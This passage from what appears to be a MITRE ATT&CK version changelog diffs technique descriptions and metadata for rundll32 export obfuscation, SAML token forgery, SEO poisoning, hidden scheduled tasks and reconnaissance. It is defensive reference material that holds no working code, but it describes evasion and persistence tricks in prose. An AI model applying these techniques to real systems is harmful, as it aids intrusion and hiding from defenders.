Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) |
| external_references[3]['url'] | https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ | https://www.stormshield.com/news/poweliks-command-line-confusion/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 2.2 | 2.3 |
[T1565.003] Data Manipulation: Runtime Data Manipulation
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-25 19:24:18.545000+00:00 | 2024-10-15 18:21:43.760000+00:00 |
| external_references[1]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf |
| x_mitre_version | 1.1 | 1.2 |
[T1606.002] Forge Web Credentials: SAML Tokens
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | An adversary may forge SAML tokens with any permissions clai | t | An adversary may forge SAML tokens with any permissions clai |
| ms and lifetimes if they possess a valid SAML token-signing | | ms and lifetimes if they possess a valid SAML token-signing |
| certificate.(Citation: Microsoft SolarWinds Steps) The defau | | certificate.(Citation: Microsoft SolarWinds Steps) The defau |
| lt lifetime of a SAML token is one hour, but the validity pe | | lt lifetime of a SAML token is one hour, but the validity pe |
| riod can be specified in the <code>NotOnOrAfter</code> value | | riod can be specified in the <code>NotOnOrAfter</code> value |
| of the <code>conditions ...</code> element in a token. This | | of the <code>conditions ...</code> element in a token. This |
| value can be changed using the <code>AccessTokenLifetime</c | | value can be changed using the <code>AccessTokenLifetime</c |
| ode> in a <code>LifetimeTokenPolicy</code>.(Citation: Micros | | ode> in a <code>LifetimeTokenPolicy</code>.(Citation: Micros |
| oft SAML Token Lifetimes) Forged SAML tokens enable adversar | | oft SAML Token Lifetimes) Forged SAML tokens enable adversar |
| ies to authenticate across services that use SAML 2.0 as an | | ies to authenticate across services that use SAML 2.0 as an |
| SSO (single sign-on) mechanism.(Citation: Cyberark Golden SA | | SSO (single sign-on) mechanism.(Citation: Cyberark Golden SA |
| ML) An adversary may utilize [Private Keys](https://attack. | | ML) An adversary may utilize [Private Keys](https://attack. |
| mitre.org/techniques/T1552/004) to compromise an organizatio | | mitre.org/techniques/T1552/004) to compromise an organizatio |
| n's token-signing certificate to create forged SAML tokens. | | n's token-signing certificate to create forged SAML tokens. |
| If the adversary has sufficient permissions to establish a n | | If the adversary has sufficient permissions to establish a n |
| ew federation trust with their own Active Directory Federati | | ew federation trust with their own Active Directory Federati |
| on Services (AD FS) server, they may instead generate their | | on Services (AD FS) server, they may instead generate their |
| own trusted token-signing certificate.(Citation: Microsoft S | | own trusted token-signing certificate.(Citation: Microsoft S |
| olarWinds Customer Guidance) This differs from [Steal Applic | | olarWinds Customer Guidance) This differs from [Steal Applic |
| ation Access Token](https://attack.mitre.org/techniques/T152 | | ation Access Token](https://attack.mitre.org/techniques/T152 |
| 8) and other similar behaviors in that the tokens are new an | | 8) and other similar behaviors in that the tokens are new an |
| d forged by the adversary, rather than stolen or intercepted | | d forged by the adversary, rather than stolen or intercepted |
| from legitimate users. An adversary may gain administrativ | | from legitimate users. An adversary may gain administrativ |
| e Azure AD privileges if a SAML token is forged which claims | | e Entra ID privileges if a SAML token is forged which claims |
| to represent a highly privileged account. This may lead to | | to represent a highly privileged account. This may lead to |
| [Use Alternate Authentication Material](https://attack.mitre | | [Use Alternate Authentication Material](https://attack.mitre |
| .org/techniques/T1550), which may bypass multi-factor and ot | | .org/techniques/T1550), which may bypass multi-factor and ot |
| her authentication protection mechanisms.(Citation: Microsof | | her authentication protection mechanisms.(Citation: Microsof |
| t SolarWinds Customer Guidance) | | t SolarWinds Customer Guidance) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 17:55:56.116000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| description | An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance) | An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)
An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance) |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[4] | Google Workspace | Identity Provider |
| x_mitre_platforms[3] | Office 365 | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
[T1608.006] Stage Capabilities: SEO Poisoning
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may poison mechanisms that influence search engi | t | Adversaries may poison mechanisms that influence search engi |
| ne optimization (SEO) to further lure staged capabilities to | | ne optimization (SEO) to further lure staged capabilities to |
| wards potential victims. Search engines typically display re | | wards potential victims. Search engines typically display re |
| sults to users based on purchased ads as well as the site’s | | sults to users based on purchased ads as well as the site’s |
| ranking/score/reputation calculated by their web crawlers an | | ranking/score/reputation calculated by their web crawlers an |
| d algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SE | | d algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SE |
| O) To help facilitate [Drive-by Compromise](https://attack. | | O) To help facilitate [Drive-by Compromise](https://attack. |
| mitre.org/techniques/T1189), adversaries may stage content t | | mitre.org/techniques/T1189), adversaries may stage content t |
| hat explicitly manipulates SEO rankings in order to promote | | hat explicitly manipulates SEO rankings in order to promote |
| sites hosting their malicious payloads (such as [Drive-by Ta | | sites hosting their malicious payloads (such as [Drive-by Ta |
| rget](https://attack.mitre.org/techniques/T1608/004)) within | | rget](https://attack.mitre.org/techniques/T1608/004)) within |
| search engines. Poisoning SEO rankings may involve various | | search engines. Poisoning SEO rankings may involve various |
| tricks, such as stuffing keywords (including in the form of | | tricks, such as stuffing keywords (including in the form of |
| hidden text) into compromised sites. These keywords could be | | hidden text) into compromised sites. These keywords could be |
| related to the interests/browsing habits of the intended vi | | related to the interests/browsing habits of the intended vi |
| ctim(s) as well as more broad, seasonably popular topics (e. | | ctim(s) as well as more broad, seasonably popular topics (e. |
| g. elections, trending news).(Citation: ZScaler SEO)(Citatio | | g. elections, trending news).(Citation: ZScaler SEO)(Citatio |
| n: Atlas SEO) Adversaries may also purchase or plant incomi | | n: Atlas SEO) In addition to internet search engines (such |
| ng links to staged capabilities in order to boost the site’s | | as Google), adversaries may also aim to manipulate specific |
| calculated relevance and reputation.(Citation: MalwareBytes | | in-site searches for developer platforms (such as GitHub) to |
| SEO)(Citation: DFIR Report Gootloader) SEO poisoning may a | | deceive users towards [Supply Chain Compromise](https://att |
| lso be combined with evasive redirects and other cloaking me | | ack.mitre.org/techniques/T1195) lures. In-site searches will |
| chanisms (such as measuring mouse movements or serving conte | | rank search results according to their own algorithms and m |
| nt based on browser user agents, user language/localization | | etrics such as popularity(Citation: Chexmarx-seo) which may |
| settings, or HTTP headers) in order to feed SEO inputs while | | be targeted and gamed by malicious actors.(Citation: Checkma |
| avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Ci | | rx-oss-seo) Adversaries may also purchase or plant incoming |
| tation: Sophos Gootloader) | | links to staged capabilities in order to boost the site’s c |
| | | alculated relevance and reputation.(Citation: MalwareBytes S |
| | | EO)(Citation: DFIR Report Gootloader) SEO poisoning may als |
| | | o be combined with evasive redirects and other cloaking mech |
| | | anisms (such as measuring mouse movements or serving content |
| | | based on browser user agents, user language/localization se |
| | | ttings, or HTTP headers) in order to feed SEO inputs while a |
| | | voiding scrutiny from defenders.(Citation: ZScaler SEO)(Cita |
| | | tion: Sophos Gootloader) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-13 20:35:52.302000+00:00 | 2024-08-14 15:03:56.383000+00:00 |
| description | Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)
To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)
Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)
SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader) | Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)
To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)
In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)
Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)
SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader) |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_contributors[0] | Goldstein Menachem | Menachem Goldstein |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Chexmarx-seo', 'description': 'Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.', 'url': 'https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7'} |
| external_references | | {'source_name': 'Checkmarx-oss-seo', 'description': 'Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.', 'url': 'https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/'} |
[T1505.001] Server Software Component: SQL Stored Procedures
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM', 'root'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-25 23:30:20.638000+00:00 | 2024-10-15 16:05:24.007000+00:00 |
| external_references[1]['description'] | Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019. | Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ | https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/ |
| external_references[5]['description'] | Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019. | Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024. |
| external_references[5]['url'] | https://blog.netspi.com/attacking-sql-server-clr-assemblies/ | https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/ |
| x_mitre_version | 1.0 | 1.1 |
[T1595.001] Active Scanning: Scanning IP Blocks
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['Diego Sappa, Securonix'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:19:38.469000+00:00 | 2024-10-15 13:46:55.039000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Network Traffic: Network Traffic Content |
[T1053.005] Scheduled Task/Job: Scheduled Task
Current version: 1.6
Version changed from: 1.5 → 1.6
|
|
|---|
| t | Adversaries may abuse the Windows Task Scheduler to perform | t | Adversaries may abuse the Windows Task Scheduler to perform |
| task scheduling for initial or recurring execution of malici | | task scheduling for initial or recurring execution of malici |
| ous code. There are multiple ways to access the Task Schedul | | ous code. There are multiple ways to access the Task Schedul |
| er in Windows. The [schtasks](https://attack.mitre.org/softw | | er in Windows. The [schtasks](https://attack.mitre.org/softw |
| are/S0111) utility can be run directly on the command line, | | are/S0111) utility can be run directly on the command line, |
| or the Task Scheduler can be opened through the GUI within t | | or the Task Scheduler can be opened through the GUI within t |
| he Administrator Tools section of the Control Panel. In some | | he Administrator Tools section of the Control Panel.(Citatio |
| cases, adversaries have used a .NET wrapper for the Windows | | n: Stack Overflow) In some cases, adversaries have used a .N |
| Task Scheduler, and alternatively, adversaries have used th | | ET wrapper for the Windows Task Scheduler, and alternatively |
| e Windows netapi32 library to create a scheduled task. The | | , adversaries have used the Windows netapi32 library and [Wi |
| deprecated [at](https://attack.mitre.org/software/S0110) uti | | ndows Management Instrumentation](https://attack.mitre.org/t |
| lity could also be abused by adversaries (ex: [At](https://a | | echniques/T1047) (WMI) to create a scheduled task. Adversari |
| ttack.mitre.org/techniques/T1053/002)), though <code>at.exe< | | es may also utilize the Powershell Cmdlet `Invoke-CimMethod` |
| /code> can not access tasks created with <code>schtasks</cod | | , which leverages WMI class `PS_ScheduledTask` to create a s |
| e> or the Control Panel. An adversary may use Windows Task | | cheduled task via an XML path.(Citation: Red Canary - Atomic |
| Scheduler to execute programs at system startup or on a sche | | Red Team) An adversary may use Windows Task Scheduler to e |
| duled basis for persistence. The Windows Task Scheduler can | | xecute programs at system startup or on a scheduled basis fo |
| also be abused to conduct remote Execution as part of Latera | | r persistence. The Windows Task Scheduler can also be abused |
| l Movement and/or to run a process under the context of a sp | | to conduct remote Execution as part of Lateral Movement and |
| ecified account (such as SYSTEM). Similar to [System Binary | | /or to run a process under the context of a specified accoun |
| Proxy Execution](https://attack.mitre.org/techniques/T1218), | | t (such as SYSTEM). Similar to [System Binary Proxy Executio |
| adversaries have also abused the Windows Task Scheduler to | | n](https://attack.mitre.org/techniques/T1218), adversaries h |
| potentially mask one-time execution under signed/trusted sys | | ave also abused the Windows Task Scheduler to potentially ma |
| tem processes.(Citation: ProofPoint Serpent) Adversaries ma | | sk one-time execution under signed/trusted system processes. |
| y also create "hidden" scheduled tasks (i.e. [Hide Artifacts | | (Citation: ProofPoint Serpent) Adversaries may also create |
| ](https://attack.mitre.org/techniques/T1564)) that may not b | | "hidden" scheduled tasks (i.e. [Hide Artifacts](https://atta |
| e visible to defender tools and manual queries used to enume | | ck.mitre.org/techniques/T1564)) that may not be visible to d |
| rate tasks. Specifically, an adversary may hide a task from | | efender tools and manual queries used to enumerate tasks. Sp |
| `schtasks /query` and the Task Scheduler by deleting the ass | | ecifically, an adversary may hide a task from `schtasks /que |
| ociated Security Descriptor (SD) registry value (where delet | | ry` and the Task Scheduler by deleting the associated Securi |
| ion of this value must be completed using SYSTEM permissions | | ty Descriptor (SD) registry value (where deletion of this va |
| ).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adve | | lue must be completed using SYSTEM permissions).(Citation: S |
| rsaries may also employ alternate methods to hide tasks, suc | | igmaHQ)(Citation: Tarrask scheduled task) Adversaries may al |
| h as altering the metadata (e.g., `Index` value) within asso | | so employ alternate methods to hide tasks, such as altering |
| ciated registry keys.(Citation: Defending Against Scheduled | | the metadata (e.g., `Index` value) within associated registr |
| Task Attacks in Windows Environments) | | y keys.(Citation: Defending Against Scheduled Task Attacks i |
| | | n Windows Environments) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-11-15 14:33:53.354000+00:00 | 2024-10-13 16:13:47.770000+00:00 |
| description | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) |
| external_references[3]['description'] | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024. |
| external_references[3]['url'] | https://twitter.com/leoloobeek/status/939248813465853953 | https://x.com/leoloobeek/status/939248813465853953 |
| x_mitre_version | 1.5 | 1.6 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Red Canary - Atomic Red Team', 'description': 'Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md'} |
| external_references | | {'source_name': 'Stack Overflow', 'description': 'Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.', 'url': 'https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder'} |
[T1597] Search Closed Sources
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may search and gather information about victims | t | Adversaries may search and gather information about victims |
| from closed sources that can be used during targeting. Infor | | from closed (e.g., paid, private, or otherwise not freely av |
| mation about victims may be available for purchase from repu | | ailable) sources that can be used during targeting. Informat |
| table private sources and databases, such as paid subscripti | | ion about victims may be available for purchase from reputab |
| ons to feeds of technical/threat intelligence data.(Citation | | le private sources and databases, such as paid subscriptions |
| : D3Secutrity CTI Feeds) Adversaries may also purchase infor | | to feeds of technical/threat intelligence data. Adversaries |
| mation from less-reputable sources such as dark web or cyber | | may also purchase information from less-reputable sources s |
| crime blackmarkets.(Citation: ZDNET Selling Data) Adversari | | uch as dark web or cybercrime blackmarkets.(Citation: ZDNET |
| es may search in different closed databases depending on wha | | Selling Data) Adversaries may search in different closed da |
| t information they seek to gather. Information from these so | | tabases depending on what information they seek to gather. I |
| urces may reveal opportunities for other forms of reconnaiss | | nformation from these sources may reveal opportunities for o |
| ance (ex: [Phishing for Information](https://attack.mitre.or | | ther forms of reconnaissance (ex: [Phishing for Information] |
| g/techniques/T1598) or [Search Open Websites/Domains](https: | | (https://attack.mitre.org/techniques/T1598) or [Search Open |
| //attack.mitre.org/techniques/T1593)), establishing operatio | | Websites/Domains](https://attack.mitre.org/techniques/T1593) |
| nal resources (ex: [Develop Capabilities](https://attack.mit | | ), establishing operational resources (ex: [Develop Capabili |
| re.org/techniques/T1587) or [Obtain Capabilities](https://at | | ties](https://attack.mitre.org/techniques/T1587) or [Obtain |
| tack.mitre.org/techniques/T1588)), and/or initial access (ex | | Capabilities](https://attack.mitre.org/techniques/T1588)), a |
| : [External Remote Services](https://attack.mitre.org/techni | | nd/or initial access (ex: [External Remote Services](https:/ |
| ques/T1133) or [Valid Accounts](https://attack.mitre.org/tec | | /attack.mitre.org/techniques/T1133) or [Valid Accounts](http |
| hniques/T1078)). | | s://attack.mitre.org/techniques/T1078)). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_contributors | | ['Barbara Louis-Sidney (OWN-CERT)'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:45:31.020000+00:00 | 2024-10-04 13:12:14.469000+00:00 |
| description | Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)
Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)
Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'D3Secutrity CTI Feeds', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'} | |
[T1594] Search Victim-Owned Websites
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may search websites owned by the victim for info | t | Adversaries may search websites owned by the victim for info |
| rmation that can be used during targeting. Victim-owned webs | | rmation that can be used during targeting. Victim-owned webs |
| ites may contain a variety of details, including names of de | | ites may contain a variety of details, including names of de |
| partments/divisions, physical locations, and data about key | | partments/divisions, physical locations, and data about key |
| employees such as names, roles, and contact info (ex: [Email | | employees such as names, roles, and contact info (ex: [Email |
| Addresses](https://attack.mitre.org/techniques/T1589/002)). | | Addresses](https://attack.mitre.org/techniques/T1589/002)). |
| These sites may also have details highlighting business ope | | These sites may also have details highlighting business ope |
| rations and relationships.(Citation: Comparitech Leak) Adve | | rations and relationships.(Citation: Comparitech Leak) Adve |
| rsaries may search victim-owned websites to gather actionabl | | rsaries may search victim-owned websites to gather actionabl |
| e information. Information from these sources may reveal opp | | e information. Information from these sources may reveal opp |
| ortunities for other forms of reconnaissance (ex: [Phishing | | ortunities for other forms of reconnaissance (ex: [Phishing |
| for Information](https://attack.mitre.org/techniques/T1598) | | for Information](https://attack.mitre.org/techniques/T1598) |
| or [Search Open Technical Databases](https://attack.mitre.or | | or [Search Open Technical Databases](https://attack.mitre.or |
